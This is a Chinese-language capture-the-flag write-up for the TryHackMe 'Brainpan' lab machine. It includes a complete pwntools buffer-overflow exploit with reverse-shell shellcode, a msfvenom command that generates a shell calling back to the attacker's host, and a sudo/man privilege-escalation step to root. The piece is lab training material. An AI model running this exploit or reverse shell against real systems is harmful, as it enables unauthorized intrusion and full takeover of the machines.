tryhackme-Brainpan(脑板)
信息收集
首先使用nmap
进行端口扫描
nmap -sT -p- --min-rate 10000 -Pn target -oA openPort
结果如下
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-15 09:31 EDT
Warning: 10.10.133.105 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.133.105
Host is up (0.24s latency).
Not shown: 63700 closed tcp ports (conn-refused), 1833 filtered tcp ports (no-response)
PORT STATE SERVICE
9999/tcp open abyss
10000/tcp open snet-sensor-mgmt
Nmap done: 1 IP address (1 host up) scanned in 49.24 seconds
开放了9999
和10000
端口,因为nmap
报了一个错误,我以为有些端口被过滤了,但是通过多次扫描,发现就是开放了两个端口
使用-sV
扫描发现目标的10000
端口开放的是python
共享的web服务,而9999
端口是运行着一个二进制程序,我们需要找到这个二进制文件并分析他
使用gobuster
对10000
端口进行目录扫描
通过扫描得到一个/bin
的目录,访问得到二进制程序
接下来就是二进制漏洞的常规思路了,我这里就不在意义叙述,通过一系列的测试,我得到最终的exploit.py
from pwn import *
context(log_level='debug')
p = remote("10.10.3.224",9999)
offset = 524
payload = b"A" * offset
payload += b"\xf3\x12\x17\x31" # 0x311712f3
payload += b"\x90" * 16
payload += (
b"\xdd\xc5\xd9\x74\x24\xf4\x5f\xba\x71\x3c\x48\x8a\x29\xc9"
b"\xb1\x12\x31\x57\x17\x83\xef\xfc\x03\x26\x2f\xaa\x7f\xf9"
b"\x94\xdd\x63\xaa\x69\x71\x0e\x4e\xe7\x94\x7e\x28\x3a\xd6"
b"\xec\xed\x74\xe8\xdf\x8d\x3c\x6e\x19\xe5\xb4\x99\x0c\x48"
b"\xa0\x9b\xae\xa3\x6d\x15\x4f\x73\xeb\x75\xc1\x20\x47\x76"
b"\x68\x27\x6a\xf9\x38\xcf\x1b\xd5\xcf\x67\x8c\x06\x1f\x15"
b"\x25\xd0\xbc\x8b\xe6\x6b\xa3\x9b\x02\xa1\xa4"
)
p.send(payload)
最后一段的payload +=
是shellcode
需要使用msfvenom
生成自己对应的IP和Port,命令如下
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.9.213.189 LPORT=4444 -f c -b "\x00" EXITFUNC=thread
初始访问权限
nc本地监听,然后运行exploit.py
得到shell
接着使用python -c "import pty;pty.spawn('/bin/bash')"
获得一个稳定shell
权限提升
查找suid
提权
at查找到了提权的方法,但是并没有成功
接着sudo -l
查看可以执行的命令
可以不使用密码身为root
用户运行/home/anansi/bin/anansi_util
程序
运行发现该程序有三个选项,分别执行ip address
、top
和man
在man
中可以自定义参数
man
是可以直接获取shell的,直接提权成功